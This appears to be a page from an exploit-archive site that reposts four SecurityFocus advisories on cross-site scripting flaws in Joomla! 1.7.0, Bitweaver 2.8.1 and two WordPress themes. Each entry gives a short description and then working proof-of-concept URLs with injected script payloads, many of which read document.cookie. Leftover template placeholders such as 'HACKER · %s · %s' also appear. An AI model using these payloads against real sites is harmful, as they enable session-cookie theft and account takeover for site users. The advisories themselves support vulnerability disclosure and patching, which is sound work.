source: https://www.securityfocus.com/bid/49853/info Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. Joomla! 1.7.0 and prior are vulnerable. http://example.com/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author= http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22
HireHackking

Bitweaver 2.8.1 - Multiple Cross-Site Scripting Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49864/info Bitweaver is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Bitweaver 2.8.1 is vulnerable; other versions may also be affected. http://www.example.com/bitweaver/users/register.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/blogs/rankings.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/articles/edit.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/articles/list.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/calendar/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/events/list_events.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/events/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/pigeonholes/list.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/fisheye/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/recommends/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/rss/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/fisheye/list_galleries.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/tags/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/stencils/index.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/stencils/list_stencils.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/wiki/orphan_pages.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/users/remind_password.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/blogs/list_blogs.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/liberty/list_content.php/"</script><script>alert(document.cookie)</script> http://www.example.com/bitweaver/quicktags/special_chars.php?textarea_id=&#039;);"/><script>alert(document.cookie);</script> http://www.example.com/bitweaver/users/register.php -> Email -> &#039;"</script><script>alert(document.cookie)</script> -> Register
HireHackking

WordPress Theme Hybrid 0.9 - 'cpage' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49866/info The Hybrid theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to Hybrid theme 0.10 are vulnerable. http://www.example.com/?p=8&cpage=[XSS]
HireHackking

WordPress Theme Elegant Grunge 1.0.3 - 's' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49869/info The Elegant Grunge theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Elegant Grunge theme 1.0.3 is vulnerable; prior versions may also be affected. http://www.example.com/?s=&quot;%20%3e%3c/input%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e